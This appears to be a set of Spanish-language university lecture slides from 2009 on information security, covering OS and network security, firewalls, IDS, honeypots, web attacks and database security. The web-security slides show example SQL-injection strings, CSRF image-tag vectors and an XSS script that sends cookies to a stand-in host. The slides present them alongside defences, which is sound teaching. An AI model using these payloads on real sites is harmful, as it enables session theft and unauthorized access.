Políticas y Normas
M.C. Juan Carlos Olivares Rojas
Septiembre 2009
Agenda
• Seguridad en Sistemas Operativos
• Seguridad en Redes y Comunicaciones
• Seguridad en Internet.
• Autenticación de usuarios
• Seguridad en Bases de Datos. Validación
• Antivirus y respaldos
Políticas y Normas
• El gran problema de la seguridad: “Tenemos
(mas que suficientes) tecnologías de seguridad,
pero no sabemos como estamos (en el caso de
que lo estemos) de seguros”.
• En términos genéricos tenemos mejor calidad
de vida pero eso no nos garantiza tener
seguridad.
Políticas y Normas
• Como se había comentado lo más importantes
es saber lo que se quiere proteger (políticas y
normas)
• Algunos problemas de seguridad en SO:
• Arranque inseguro
– ¿Quién lo arranca?
– ¿Es realmente el código original?
Seguridad en SO
• Ejecución insegura
– Usuarios con muchos privilegios
– Servicios inútiles y con demasiados privilegios
• Degradación de la seguridad
– Integración de nuevo software
– Dispositivos de almacenamiento masivo
– Sistema sin parchear
– Antivirus y Antimalware desactualizados
Seguridad en SO
• Existen diversos enfoques de seguridad. Los
más comunes son el top-down y el bottom-up.
• En el enfoque descendente se inicia con las
aplicaciones hasta llegar al sistema operativo y
hardware. En el bottom-up que es el más
extendido el proceso va al revés (primero que
nada seguridad física).
Seguridad en S.O.
• En general un buen mecanismo de seguridad
consistirá en un sistema escalonado de
permisos (similar a las transacciones en dos
fases de la base de datos).
• Además del control de acceso a los recursos, el
sistema operativo debe de llevar la contabilidad
y la auditoria de las actividades realizadas.
• ¿Cómo se logra la CIA en un SO?
Seguridad en SO
• La seguridad de las aplicaciones dependen del
SO anfitrión.
Seguridad en S.O.
• Para alcanzar mayor seguridad el SO tanto
como las aplicaciones se desarrollan a través
de diversas arquitecturas de software
modulares.
• Una de las arquitecturas más difundidas es la
de microkernel. Separando aplicaciones por
capas se puede garantizar seguridad por
aislamiento pero hace más vulnerable a los
sistemas.
Arquitectura de Windows NT
Procesos del Sistema
Services
Subsystem
Control
Management
Service
LSASS
Windows
SvcHost.Exe
Task Manager
WinMgt.Exe
WinLogon
User
Mode
Envinroments
Applications
Explorer
SpoolSv.Exe
OS/2
User Applications
Services.Exe
Session Handler
POSIX
DLLs Subsystem
Windows DLLs
NTDLL.DLL
System Thread
Kernel
Mode
System Dispatch System
(Kernel Mode Interfaceel)
Kernel
Interfaces de Hardware(buses, Dispositivos de E/S , interrupcciones,
intervalos de temporizadores,
DMA, control
de memoria cache , etc.)
Hardware Abstraction
Layer (HAL)
Local Process
Call
Configuration
Manager (Registry)
Process and
Threads
Virtua
Memory
Security
Reference
Monitor
Energy
Manager
Plug and Play
Manager
File System
Cache
File System
and Device
Drivers
Object Handler
I/O Manager
Windows
USER,
GDI
Grpahical
Manager
Seguridad en SO
• Los sistemas operativos suelen utilizarse en
modo supervisor del microprocesador para
garantizar que las aplicaciones causen menos
conflictos.
• Los SO deben de proporcionar APIs a los
programas de aplicación para garantizar
seguridad. Por ejemplo GINA (Graphical
Identification and Autentication ) y algunas
criptoAPIs.
Seguridad en SO
• Para el usuario el Sistema es lo que ve y los
SOs no son la excepción. Generalmente las
interfaces de usuario en los SO contienen
rutinas para manipulación de archivos dado
que para la mayoría de SO (principalmente
sistemas *X) tienen la premisa de que todo es
un archivo.
Registro
• BD centralizada que guarda información de
configuración del sistema. ¿Es seguro?
Matriz de Acceso
• Determina que pueden realizar los usuarios
sobre los recursos.
Integridad de Aplicaciones
Cajas de arena
Listas de Control de Acceso
• ACL: mecanismos que permiten variar los
permisos y usuarios sobre los recursos
Clasificación de Seguridad
Seguridad en Windows NT
• Manejo de Errores y subsistemas protegidos.
– NT tolera fallos y estos no afectan a otros
componentes.
• Sistema de archivos recuperable.
– La E/S de disco se ve como una sola transacción.
Ante fallos vuelve atrás.
• Soporte para cintas de respaldos.
Seguridad en Windows NT
• Soporte para UPS
• “Espejado” de disco.
• ¿Para que nos sirve hacer particiones en
cuestión de seguridad?
• ¿Qué diferencias existen de seguridad entre los
sistemas de archivos FAT y NTFS?
Seguridad en Windows NT
• Manejo de control de acceso (¿No existe en
FAT?)
• Sistema de Logging
• ¿Existe desfragmentación para NTFS?
• Manejo de comprensión
• ¿Manejo de cifrado?
Seguridad en Windows NT
• Es sensible a mayúsculas y minúsculas para
sistemas *X e indiferente en DOS y Windows.
• Los permisos disponibles son:
– Lectura
– Escritura
– Ejecución
– Borrado
– Cambio de permisos
– Tomar posesión
Seguridad en Windows NT
• Manejo de Dominios (servicio de directorios)
para la compartición y uso de recursos.
• Los dominios pueden estar en un solo servidor
o distribuidos por la red. ¿La redundancia de
datos es seguridad?
• Los datos sobre los usuarios se guardan en
una base de datos llamada SAM (disponible en
cualquier servidor).
Seguridad en Windows NT
• La seguridad se hace a través de políticas y
directivas de seguridad. Por ejemplo el sistema
de autenticación: valida la longitud, duración de
la contraseña y el número de intentos.
• ¿Dónde se ve la auditoria del SO? Visor de
Eventos (Sucesos)y tiene tres vriantes:
sistema, seguridad y aplicación.
Seguridad en Windows NT
• A partir de Windows Vista se posee Trusted
Platform Module (TPM) v1.2 Hardware
integrado en el equipo. El cual almacena
credenciales en un chip en la tarjeta madre.
• Todo el código de las DLLs y ejecutables se
firman digitalmente para garantizar la integridad
del código.
Seguridad en Windows NT
• La mayoría de los sistemas operativos manejan
una política predeterminada de no permitir el
acceso a nada. Un control en este sentido es la
variable de candado para realizar operaciones
de modificación.
• Las aplicaciones pueden ejecutarse en
diversos contextos como Internet Explorer 7
que puede ejecutarse en modo protegido.
Seguridad en Windows NT
• Los SOs actuales poseen de firewalls para
proteger los activos de información de una
computadora.
• El firewall actual de Windows es tanto de
entrada como de salida.
• Los SOs actuales cuanten con antimalware (no
es una solución completa a un antivirus, es
más amplia) que eliminan periódicamente
ciertas anomalías.
Seguridad en Windows NT
• Los SOs actuales con un sistema de
administración de reinicios capaz de dejar el
sistema tal cual se quedó después de una falla.
Seguridad en el Desarrollo de
Software
• Hasta hace poco muy pocas metodologías de
desarrollo de software consideraban a la
seguridad como un requerimiento básico de
calidad.
• La tendencia ha cambiado bastante a tal punto
que
existen metodologías
como
SDL
(Microsoft) que manejan roles y procesos de
seguridad.
Seguridad en Desarrollo de Sw
• La parte más importante de la seguridad es
considerarlo como un requerimiento obligatorio
(implícito) a como actualmente son las
validaciones de entrada.
• Parte importante de la seguridad se puede ver
desde diferentes enfoques en cada parte del
proceso de desarrollo (análisis, diseño,
implementación, pruebas, etc.) pero siempre es
importante las arquitecturas de del software
con respecto a la seguridad.
Código y poder
• El código fuente es poder
– Tanto para defenderse como para atacar
• Compartir el código es compartir el poder.
– Con los atacantes y defensores
• Publicar el código fuente sin hacer nada más
degrada la seguridad
• Por el contrario, publicar el código fuente permite
a los defensores y a otros elevar la seguridad al
nivel que les convenga.
Software Seguro
• El software Fiable es aquel que hace lo que se supone
que debe hacer.
• El software Seguro es aquel que hace lo que se supone
que debe hacer, y nada mas.
– Son los sorprendentes “algo mas” los que producen inseguridad.
• Para estar seguro, debes de ejecutar solo software
perfecto :-)
• O, hacer algo para mitigar ese “algo mas”
El problema M & M
TheDura
‘M&M’Interior
Problem
Suave
Cubierta
Resuelto por
seguridad
perimetral
El problema
adicional
que hay que
resolver
Arquitectura Fortaleza
•
•
•
•
Protección perimetral
Estático, no diferenciado
Difícil de modificar y adaptar
Descuida el insider problem
Arquitectura Aeropuerto
• Mayor flexibilidad
• Múltiples zonas de seguridad basadas en roles
• Protecciones multinivel interzonas
• Colección
jerárquica
interactuantes
de
fortalezas
Arquitectura Aeropuerto
Arquitectura P2P
• Conceptos
dinámicos
autenticación y autorización
de
confianza,
• Requerimientos comerciales->Requerimientos
tecnológicos
• Inferir en tiempo real qué quiero hacer y con
quién quiero hacerlo
• Puede requerir servicios provistos por TTP
(Trusted Third Parties).
Arquitectura SD3
• Propuesta por Microsoft en SDL
Seguro
por diseño
Seguro
de forma
predeterminada
Seguro en
implementación
Arquitectura y código seguros
Análisis de amenazas
Reducción de los puntos vulnerables
Menor área expuesta a ataques
Las características que no se usan están
desactivadas de forma predeterminada
Privilegios mínimos
Protección: detección, defensa,
recuperación y administración
Proceso: guías de procedimientos
y de arquitectura
Usuarios: aprendizaje
Consejos de Seguridad
•
Tenga en cuenta la seguridad
– Al comienzo del proceso
– Durante el desarrollo
– Durante la implementación
– En los hitos de revisión del software
•
No deje de buscar errores de seguridad hasta
el final del proceso de desarrollo
Los retos de la seguridad en las
empresas
Servidores con
roles múltiples y
variados
Recursos limitados para
implementar soluciones
de seguridad
Amenazas
internas o
accidentales
Sistemas
obsoletos
Falta de
expertos en
seguridad
Consecuencia
s legales
El acceso físico
rompe muchas
medidas de
seguridad
Defensa en Profundidad
Usando una estrategia por capas
• Se incrementa el riesgo de ser detectado para el
atacante
• Se reduce su probabilidad de tener éxito
Datos
ACLs, cifrado, EFS
Application
Aplicación
Fortificación, antivirus
Host
Fortificacion
Fortificación del SO,
Autenticación, Parches
Red Interna
Segmentos de Red, IPSec
Perímetro
Firewalls, Acceso a Red,
Redes de Cuarentena
Guardias, Cerraduras, etc.
Seguridad Física
Policies,
Procedures,
Políticas,
Procesos y &
Awareness
Concienciación
Documentación,
formación
Consejos de Seguridad
• Programar bien!!!
• No utilizar funciones inseguras que puedan
provocar fallos de desbordamiento.
• En C/C++ se debe tener mucho cuidado con
los punteros
• Se recomienda no utilizar funciones como: strcpy()
strcat() sprintf() scanf()sscanf() fscanf() vfscanf(),
entre otras.
Fortificación
• El “hardening” (fortificación o endurecimiento)
es una técnica de control de seguridad que
consiste en tomar medidas elevadas de
seguridad en los servidores o equipos de
usuarios.
• No existe un conjunto de pasos únicos, esto se
maneja de forma variada, dependiendo del SO
y de los servicios disponibles aunque
generalmente existen directrices y líneas base
que se pueden seguir.
Fortificación
• Revisa que servicios se deben de ejecutar.
• Revisa el grado de seguridad continuamente.
• Manejar distintos tipos de restricciones.
• Utiliza certificaciones como common criteria.
Fortificando Apache
• Deshabilitar servicios no indispensables
• Verificar los bugtracks y actualizar
• Proteger los directorios /var/www/
• Crear
un
/var/www/error
directorio
personalizado
• Habilitar los .htaccess y proteger los archivos
de users y password del http
mod_dosevasive
• Fácil de configurar
• Puede ayudar a evadir ataques de DoS bloqueando
direcciones ip o URLs temporalmente.
LoadModule dosevasive20_module modules/mod_dosevasive20.so
<IfModule mod_dosevasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSPageInterval 1
DOSSiteCount 50
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSEmailNotify [email protected]
DOSLogDir "/tmp/mod_dosevasive“ (make writable by apache only)
</IfModule>
Características mod_security
• Los filtros se aplican antes de ejecutar los scripts
• Soporta SSL
• Entienden el protocolo http
• Hace logging completo incluyendo post data
• Las reglas son personalizadas usando expresiones
regulares y pueden ser aplicadas a niveles de virtual
hosts
Oscurantismo
• Es un mecanismo de seguridad que consiste
en ocultar información y servicios.
• Un servidor Web se ejecuta en el puerto 80
pero puede cambiarse de puerto. Esto
garantiza cierta seguridad hasta que no se
descubra el servicio.
• El código abierto es un ejemplo claro que el
oscurantismo no funciona.
Oscurantism0
• NO SE DEBEN DE UTILIZAR NUNCA
CONFIGURACIONES PREDETERMINADAS.
• Se deben cambiar las configuraciones
predeterminadas de forma robusta antes de
entrar a la red.
• El
conocimiento
de
configuraciones
predeterminadas es un vector ataque muy
utilizado.
Seguridad en Redes y
Comunicaciones
• Uno de los activos de información más
importantes dentro de las organizaciones es la
infraestructura de telecomunicaciones tanto de
datos como de voz.
• A través de las redes de voz y datos fluye toda
la información de la empresa, si esta no está
disponible, es confiable e integra se tendrá una
serie de problemas.
Seguridad en Red
• Lo primero que se debe de hacer es la
evaluación del desempeño y seguridad de la
red.
• En redes de computadoras interesa que tengan
una alta disponibilidad con un buen uso del
ancho de banda. Por este motivo se necesita
monitorear la red con software especializado
como nagios, cactis, mrtg, entre otros.
Seguridad en Red
• Las herramientas de monitoreo tienen la
característica de notificar lo que está
ocurriendo en tiempo real.
• Se suele confundir comúnmente con los
sniffers y analizadores de protocolos dado que
realizan en esencia la misma función básica de
capturar paquetes en la red.
• El desempeño de la red está dado por los
protocolos de comunicación empleados.
Seguridad en Red
• La seguridad de la red parte desde la capa 0 o
Cableado estructurado, pasando por la capa
física y enlace (NICs), el SO (capa de red,
transporte, sesión, presentación) y de las
aplicaciones de red.
• Se puede utilizar la segmentación de redes y el
manejo de hardware especializado para un
mejor desempeño y seguridad de la red.
• Las aplicaciones de red son quizás la parte de
seguridad más importante.
Seguridad en Redes
• En cuestión de las aplicaciones se necesita
hacer un análisis de que se comparte, cómo se
comparte y hacia quien se comparte. Con estas
características se puede mejorar la seguridad
de la red.
• Para asegurarse que los controles implantados
sean los correctos es necesario evaluarlos
haciendo “hacking ético”.
Seguridad en Redes
• El hacking ético consiste en la enumeración de
propiedades de un sistema como puertos,
aplicaciones abiertas, tipo de sistema
operativo, etc.
• Con toda esta información el ataque debe
preparar un plan de ataque. Para ello puede
auxiliarse de herramientas de código malicioso
como virus, exploits, rootkits, sniffers, password
crackers, etc. La herramienta dependerá de lo
que se pretende atacar (vector de ataque).
Seguridad en Redes
• Para este curso se propone un esquema de
seguridad en tres fases:
• Prevención de Intrusos (IPS).
• Detección de Intrusos (IDS)
• Engaño de usuarios (Honeywall)
• Retroalimentación (fortificacion de activos)*
Seguridad en Redes
• Tarea próximo sábado: mostrar evaluación de
la
seguridad
de
redes
(análisis
de
vulnerabilidades vía software) que servirá de
indicadores meta. Se deberá indicar con que
controles de seguridad se cuentan.
• Examen: se realizarán equipos de dos
personas para escoger uno de los temas, se
deberá exponer la instalación de la
herramienta, como se usa y demostrar de
forma práctica y presencial que mejora la
seguridad.
Seguridad en Redes
• El examen será el día 7 de noviembre. Se
deberá tener un escenario de cómo estaba
antes la seguridad sin el control implementado.
• Se evaluará que el control esté correctamente
implementado (80%), y 20% la presentación
(documento de instalación y configuración –
tratar de no dejar configuración por default-). El
examen vale el 70% del parcial.
IPS
• Los sistemas de prevención de intrusos más
famosos son los firewalls.
• Un firewall es un dispositivo que filtra el tráfico
de la redes. Puede ser un dispositivo físico o un
software sobre un sistema operativo.
• Existen dos tipos de firewall de host y de red.
Cuando es de host se instala un software en el
sistema operativo (o ya viene instalado).
IPS
• Cuando se trata de un firewall de red puede ser
un hardware especializado o una computadora
adaptada con dos o más interfaces de red.
• El firewall se encarga de determinar en base a
políticas de acceso que paquetes deben de
entrar y de salir de la red.
• En general se filtran paquetes por IP, Puerto y
contenido (especializados).
IPS
• Los firewall funcionan como barda perimetral
permitiendo el acceso o denegándolo a los
datos de las aplicaciones.
• El análisis de contenido de un firewall tiene la
característica que es altamente consumidor de
tiempo y no puede ser del todo efectivo. Por
ejemplo en HTTP se sugiere utilizar un proxycache.
IPS
• Lo más importante es la creación de un
esquema o arquitectura que permita manejar
seguridad de forma eficiente. Existen diversas
arquitecturas para configurar firewall.
• Entre más puntos de control se tengan mejor
es la seguridad pero el desempeño de la red
puede no ser el óptimo.
Arquitecturas de IPS
• Centralizada:
• Zona desmilitarizada:
Arquitecturas de IPS
• DMZ con dos firewalls:
• Las arquitecturas de IPS varían dependiendo
de la topología de la red y de la prioridad de los
activos de información.
IPS
• Existen un sin fin de herramientas de firewalls.
• Las más comunes so a través del sistema
operativo como IPTables en el caso de los
sistemas Linux y las soluciones de hardware.
IP Table
•
•
•
•
•
•
•
•
•
•
•
•
•
•
!/bin/sh
## SCRIPT de IPTABLES − ejemplo del manual de iptables
echo −n Aplicando Reglas de Firewall
## FLUSH de reglas
iptables −F
iptables −X
iptables −Z
iptables −t nat −F
## Establecemos politica por defecto
iptables −P INPUT ACCEPT
iptables −P OUTPUT ACCEPT
iptables −P FORWARD ACCEPT
iptables −t nat −P PREROUTING ACCEPT
iptables −t nat −P POSTROUTING ACCEPT
IP Table
•
•
•
•
•
•
•
•
•
•
•
## Empezamos a filtrar
# El localhost se deja (por ejemplo conexiones locales a mysql)
/sbin/iptables −A INPUT −i lo −j ACCEPT
# A nuestra IP le dejamos todo
iptables −A INPUT −s 195.65.34.234 −j ACCEPT
# A un diseñador le dejamos usar el FTP
iptables −A INPUT −s 80.37.45.194 −p tcp −dport 20:21 −j
ACCEPT
# El puerto 80 de www debe estar abierto, es un servidor web.
iptables −A INPUT −p tcp −−dport 80 −j ACCEPT
iptables −A INPUT −p tcp −−dport 1:1024
iptables −A INPUT −p udp −−dport 1:1024
Configuración IP Table
• # Cerramos otros puertos que estan abiertos
• iptables −A INPUT −p tcp −−dport 3306 −j
DROP
• iptables −A INPUT −p tcp −−dport 10000 −j
DROP
• iptables −A INPUT −p udp −−dport 10000 −j
DROP
• echo " OK . Verifique que lo que se aplica con:
iptables −L −n"
• # Fin del script.
IDS
• Los IDS son sistemas que monitorea diversas
fuentes y formas los SI.
• Compara el tráfico con patrones de ataques.
• Identifica problemas relacionados con el abuso
de privilegios
• Realiza análisis estadístico en busca de
patrones de actividad anormal
IDS
• ¿Por qué utilizar un IDS si ya se cuenta con un
IPS?
• Esta es la pregunta que casi todo administrador
de red y encargados de seguridad se hacen.
• El firewall como se había comentado es una
especie de barda, los IDS viene siendo el
sistema de monitoreo de circuito cerrado.
IDS
• En muchas ocasiones el principal enemigo ya
está dentro.
• Muchas herramientas de seguridad basadas en
hardware
generalmente
ya
incluyen
características de IDS pero siguen llamándose
firewalls.
• Además el IDS puede detectar ataques por
entunelamiento,de
vulnerabilidades
de
aplicaciones y de la parte segura de la red.
IDS
• Los IDS pueden ser a nivel de Host (HIDS)
siendo quizás los más populares y a nivel de
red (NIDS).
• Los NIDS monitorean el tráfico de la red
mostrando alertas sobre ciertas anomalías.
• Los HIDS sólo se preocupan por los eventos
locales a una máquina monitoreando el tráfico
de red o elementos de la misma máquina
IDS
• Los HIDS Monitorean:
– Sesiones de usuarios
– Actividades de los usuarios privilegiados
– Cambios en el sistema de archivos
• A pesar de las múltiples ventajas, los IDS
presentan algunos inconvenientes como:
• Generación de falsos positivos
• No pueden analizar tráfico cifrado
IDS
• Son tan efectivos como la última actualización
de patrones.
• Alta latencia entre el ataque y la notificación
• Dificultad para realizar análisis en redes
congestionadas
• No indican si un ataque ha sido exitoso o no
IDS
• No son infalibles
• No compensan una mala administración
• No investigan ataques sin intervención humana
• No intuyen ni siguen las políticas de seguridad
organizacional
IDS
• Los IDS es un control de seguridad que está
siendo implementado actualmente con mucha
frecuencias en las organizaciones.
• Como toda herramienta tecnológica depende
en gran medida de la persona que se encargue
de la toma de decisiones.
• Los IDS más populares son snort y tripwire.
IDS
• Los IDS definen reglas de advertencia muy
similar a las reglas de prevención de un IPS.
Aquí la semántica cambia dado que si se
cumplen dichas reglas se trata de un “ataque”.
• Ya existen base de datos con firmas que
contienen la caracterización de ataques
comunes a servicios generales.
Honeywall
• La detección de intrusos puede ser mejorada a
través de máquinas denominadas señuelo o
bastión que permiten proteger los demás
activos de información entreteniendo al
atacante.
• Cuando se trata de un host individual se le
llama honeypot y cuando se habla de un
conjunto de máquinas recibe el nombre de
honeynet.
Honeywall
• Tener máquinas de carnada tiene un costo alto
que pagar. Formalmente los honeywall son
equipos simulados que permiten garantizar una
protección adicional.
• Últimamente se han vuelto populares por el uso
masivo de virtualización en todos los entornos.
• El software existente cada vez es más sencillo
de manejar.
Honeywall
• Pocas empresas garantizan este nivel de
seguridad. Generalmente se enfocan a IPS
después a IDS y hasta al último estas
soluciones.
• El equipo o red atacada debe de ser
monitorizada constantemente para tomar
acciones de defensa.
• Algunas implementaciones son:
honeycomb, sebek entre otras.
honeyd,
Seguridad en Internet
• El acceso a redes externas y públicas como
Internet hace que la comunicación sea aun más
insegura.
• Se deben tomar las mismas precauciones que
en la red local sólo se debe de considerar que
servicios se proveen y como es que deben de
ser provistos.
Inyección de código SQL
• Es un ejemplo claro tanto de seguridad en
Internet (Web), seguridad en el desarrollo de
aplicaciones (lenguajes dinámicos en el lado
del servidor como PHP, JSP, ASP) y bases de
datos (como mysql y SQL Server).
• Estos tipos de ataques se deben a algunas de
las bondades de SQL: ejecución de varios
comandos en una sola instrucción, embeber
comentarios, realizar consultas de metadatos y
shellscripts.
Inyección de código SQL
• Estos ataques se derivan de validaciones
incorrectas de datos de un formulario que
sirven de punto de entrada para los scripts
dinámicos de consultas de datos.
• Por ejemplo la instrucción: SELECT * FROM
login WHERE usuario’=fulantio’ OR ‘1’=‘1’ -AND password=‘’;
• Es correcta. Pudiendo entrar a un sistema o
bien mostrando datos.
Inyección de SQL
• ¿Cómo se pueden securizar las aplicaciones
Web que manejan consultas a bases de datos?
• Validar datos del usuario: entre menos escriba
mejor.
• No utilizar sentencias SQL construidas
dinámicamente (manejar consultas preparadas
-Preparament Statement-)
Inyección de SQL
• No utilizar cuentas de usuarios privilegiados.
• No proporcionar mayor información que la
necesaria.
• Al momento de validar campos
caracteres como comillas sencillas.
eliminar
Seguridad en WebApps
Aplicación
Validación de Entradas
Autenticación
Autorización
Gestión de Configuración
Datos Sensibles
Gestión de Sesiones
Criptografía
Manipulación de Parámetros
Gestión de Excepciones
Auditoría y Logging
Red
Servidor
Web
Firewall
Firewall
Router
Firewall
Switch
Servidor de
Aplicaciones
Servidor
de BD
Servidor
Parches
Servicios
Protocolos
Cuentas
Archivos y
Directorios
Compartidos
Puertos
Registro
Auditoría y Logging
XSS
• XSS
(Cross
Site
Scripting)
es
una
vulnerabilidad que permite al hacker ejecutar
código script en un cliente web.
• Dos entradas principales:
– Contempladas (foros, emails, librerías…)
– Ocultas (querystring, campos HTML…)
• Impactos:
– Modificación del contenido
– Envío de información
– Robo de sesión
XSS
• Tipos de XSS:
• Nivel 0 Local ó basada en DOM: Un script local
accede a parámetros request de la URL y los
utiliza para construir código script.
• Nivel 1 No Persistente ó Reflejada:
• Se utilizan los datos de entrada de formularios
para construir scripts, permitiendo la inyección
de código.
XSS
• Nivel 2 Persistente ó Segundo Orden
• Es la más poderosa. Los datos se almacenan
en una bd y posteriormente se muestran a los
usuarios, inyectando el código continuamente.
• Tampering: cambio de valores en parámetros
ocultos para realizar un ataque al sistema.
XSS
• Ejemplo de XSS Nivel 0:
•
•
•
•
Link Original:
www.example.com/login.aspx?user=angel
Link Malicioso:
www.example.com/login.aspx?user=<script>ale
rt(‘sorpresa')</script>
XSS
• Aparentemente esto no es perjudicial (no pasa
de ser una broma), que pasaría si:
• <script>
• document.location
=
'http://maligno.ejemplo.org/roba_cookies.php?c
ookies=' + document.cookie
• </script>
• Otra variante de ataques es el CSRF
CSRF
• CSRF (Cross Site Reference Forgery) consiste
en hacer que una aplicación ejecute una acción
creyendo que la hizo un usuario. La
peligrosidad de este tipo de ataque es bastante
alta dado que permite el control de una sesión
de forma remota.
• Vectores de ataque comunes:
• <img src=http://www.ilike.com/backend?addSong=998822>
• <img src=http://foro.com/borrar.php?foro=1>
CSRF
• Soluciones:
– “clave” aleatoria, que solo es válida una vez.
– Se debe enviar en cada petición hecha.
– Se debe invalidar despues de usarse.
– Ejemplo:
http://hi5.com/friend/mail/deleteMail.do?msgId=1&senderId=
2&offset=0&timestamp=NONCE
• Mitos:
• Checar el “referrer” te protege de CSRF.
• Recibir info por POST te protege.
Seguridad en WebApps
• Reglas básicas:
• No confies en lo que lees.
• No confies en lo que vas a escribir.
• No confies en lo que quieres modificar.
Autenticación de usuarios
• Los usuarios deben de validarse por diversos
medios.
• La autenticación de los usuarios debe de
manejarse
preferentemente
de
forma
independiente de las aplicaciones y activos de
información.
• Más que autentificar usuarios se debe de
proteger los activos de información.
Seguridad en Bases de Datos.
Validación
• Los datos almacenados deben de poderse
asegurar de forma robusta ya que su contenido
es lo que generalmente da valor a las
organizaciones.
• Una parte importante del proceso de
aseguramiento de base de datos es el proceso
de validación, un gran porcentaje de errores
puede reducirse significativamente si se validan
las entradas.
Seguridad en BD
Datos de Entrada
Almacenamiento
Monitoreo
Control de Acceso
Datos de Salida
Seguridad en BD
Robo
Modificación de Datos
$50,000
$500.00
Desviación de Datos
Seguridad en BD
• Es importante definir permisos (ACL) a los
recursos.
• Cifrado
de
datos
(problema
almacenamiento de contraseñas).
del
• Existen ya algunas preguntas claves que se
pueden utilizar para indicar el grado de
seguridad que tiene algún activo de
información. A continuación se muestran
algunas de ellas para BD.
Seguridad en BD
• ¿Cuál es la plataforma sobre la que esta
construida la base de datos?
• ¿La base de datos brinda herramientas para la
seguridad de los datos?
• ¿El equipo (Humano) de trabajo posee los
conocimientos suficientes para encontrar
mecanismos alternos de seguridad?
Seguridad en BD
• ¿La base de datos trabaja en un entorno
multiusuario?
• ¿Qué personas del equipo deberían tener
acceso a la base de datos?
• ¿Todas las personas del equipo de trabajo
deberían tener acceso a la totalidad de los
datos de la base?
Seguridad en BD
• ¿La base de datos funciona en un entorno
distribuido?
• ¿La ubicación de los archivos de base de datos
es la adecuada?
• ¿Existen políticas adecuadas
asignación de usuarios?
para
la
• ¿Existen políticas adecuadas para validar la
complejidad de las contraseñas?
Seguridad en BD
• ¿El personal técnico esta al tanto de las nuevas
modalidades ilegales de extracción de
conocimiento?
• ¿Se cuenta con un Firewall dentro de la red?
• ¿Se registra de manera permanente y
sistemática el acceso a los datos incluyendo la
persona, fecha y motivo de acceso?
Seguridad de los Datos
• ¿La información se captura de la manera
adecuada?
• ¿La información se captura en los tiempos
estipulados y/o adecuados?
• ¿El personal que captura los datos, es idóneo
para hacerlo?
• ¿Se realiza una precrítica de los datos
capturados?
Seguridad en los Datos
• ¿Qué información se debe publicar?
• ¿Quiénes deben publicar la información?
• ¿Se especifica si el dato publicado es parcial o
definitivo?
• En caso de existir un error en la captura del
dato, ¿Se repara inmediatamente?
Seguridad en los Datos
• ¿Se tiene especial cuidado con las normas de
ortografía para la captura del dato?
• ¿Existe documentación escrita sobre la
ubicación de cada una de las bases de datos
utilizadas?
• ¿Están adecuadamente configurados
perfiles de acceso a cada base de datos?
los
Seguridad en los Datos
• ¿Se realizan backups de la base de datos de
manera permanente y sistemática?
• ¿Existen protocolos para la realización de
backups?
• ¿Es claro para el personal técnico que
NINGUNA base de datos debe ser eliminada de
un recurso computacional antes de realizar un
backup sobre la misma?
Seguridad en BD
• En general los esquemas de modelo de BD no
incluyen el aspecto de seguridad.
SSN
Date
Function
Title
Name
Employee
(0,N)
Is
Assigned
to
(0,M)
Project
Subject
Dep
Client
Salary
SSN
Title
Fortificación de BD
• Principio de menor privilegio (creación de
vistas).
• Actualización constante de parches
• Eliminar
o
predeterminadas.
deshabilitar
cuentas
• Correr procesos del manejador de BD con
cuentas no privilegiadas.
Fortificación de BD
• Deshabilitar componentes no necesarios
• Utilizar procedimientos almacenados así como
disparadores.
Modelo NTK(need to know)
• Se
subdividen
los
datos
en
compartimientos
• Cada sujeto S tiene un un conjunto de
compartimientos que necesita conocer
NTK(S)
• Cada objeto O consta de un conjunto
de compartimientos comp(O)
• Un sujeto S tiene acceso de lectura a O
si comp(O)  NTK(S)
Modelo Biba
• Busca mantener la integridad de los datos.
Sujetos y objetos se clasifican por niveles de
integridad. Los datos son modificados solo por
quienes tienen mayor integridad que los datos
mismos.
• S puede modificar O, si I(S) >= I(O)
• Si S puede leer O, S puede escribir P solo si
I(O) >= I(P).
Antivirus y respaldos
• Se recomienda realizar respaldos periódicos de
preferencia a nivel de bits de cada uno de los
activos de información.
• Los respaldos deben de hacerse completos e
incrementales.
• Los programas antivirus deben actualizarse
frecuentemente, deben de validar cualquier tipo
de código malicioso.
Referencias
• Date, C. (2001) Introducción a los Sistemas
de Bases de Datos,
Séptima edición,
Capítulo 16 Seguridad, Pearson Educación,
pp. 504-536.
• McPherson, F. (2005), Pocket PC a su
Alcance, 3ra. Edición, McGraw-Hill, México,
2005, ISBN: 970-10-4731-1.
Referencias
• Elmasri, R. y Navathe S. (2000) Sistemas de
Bases de Datos, 2da. Edición. Capítulo 20
Seguridad, Addison-Wesley 200, México, pp.
599-613, ISBN: 968-444-399-4.
• Tanenbaum, A. y Van Steen, M. (2007).
Distributed
Systems.
Principles
and
Paradigms, Segunda edición, Capítulo 9
Seguridad, Pearson Education, Estados
Unidos, pp. 377-442, ISBN: 0-13-239227-5.
Referencias
• Guerrero,
R.
(2008).
Proyecto
de
Comunicación Telefónica VoIP en Gobierno
del Estado de Michoacán, Tesina de
Titulación.
• Watters, P (2005) Solaris 10 The Complete
Reference, McGraw-Hill Osborne, Estados
Unidos, ISBN: 0-07-222998-5.
Referencias
• Coulouris, G., Dollimore, J. y Kindberg, T.
(2001). Sistemas Distribuidos, Capítulo 7
Seguridad, pp. 235-289, ISBN: 84-7829-0494.
• Nyhus, R. (2008). Redes y Redes
Inalámbricas. PC Cuadernos, España.
• Facundo, H. (2007). Revista USERS
LinuxSeguridad, número 24 pp. 24-37.
Referencias
• Froufe, A. y Jorge, P. (2004) J2ME Java 2
Micro Edition, Alfaomega Ra-Ma, México,
ISBN: 970-15-1022-4.
• Millán, R. (2006). Domine las Redes P2P,
Alfaomega, España, ISBN: 970-15-1206-5.
• Velte, T. (2008). Manual de Cisco, Cuarta
Edición, McGraw-Hill, México, ISBN: 978970-10-5927-2
Referencias
• Stallings, W. (2004) Comunicaciones y Redes
de Computadoras, Séptima Edición, Pearson
Prentice Hall, España, ISBN: 84-205-4110-9.
• Nichols, R. y Lekkas, P. (2003) Seguridad
para Comunicaciones Inalámbricas, McGrawHill, España, ISBN: 84-481-3782-5.
• Shah, S. (2001) Manual de Administración de
Linux, Osborne McGraw-Hill, España, ISBN:
Referencias
• Gómez, A. (2007). Enciclopedia de la
Seguridad Informática, Alfaomega, México,
ISBN: 978-970-15-1266-1.
• McNab, C. (2004). Seguridad de Redes.
Anaya Multimedia O’Reilly, España, ISBN:
84-415-1751-1
• Caballero, P. (2001), Introducción a
criptografía Alfaomega – Rama
la
References
• Senft, S. And Gallegos, F. (2008) Information
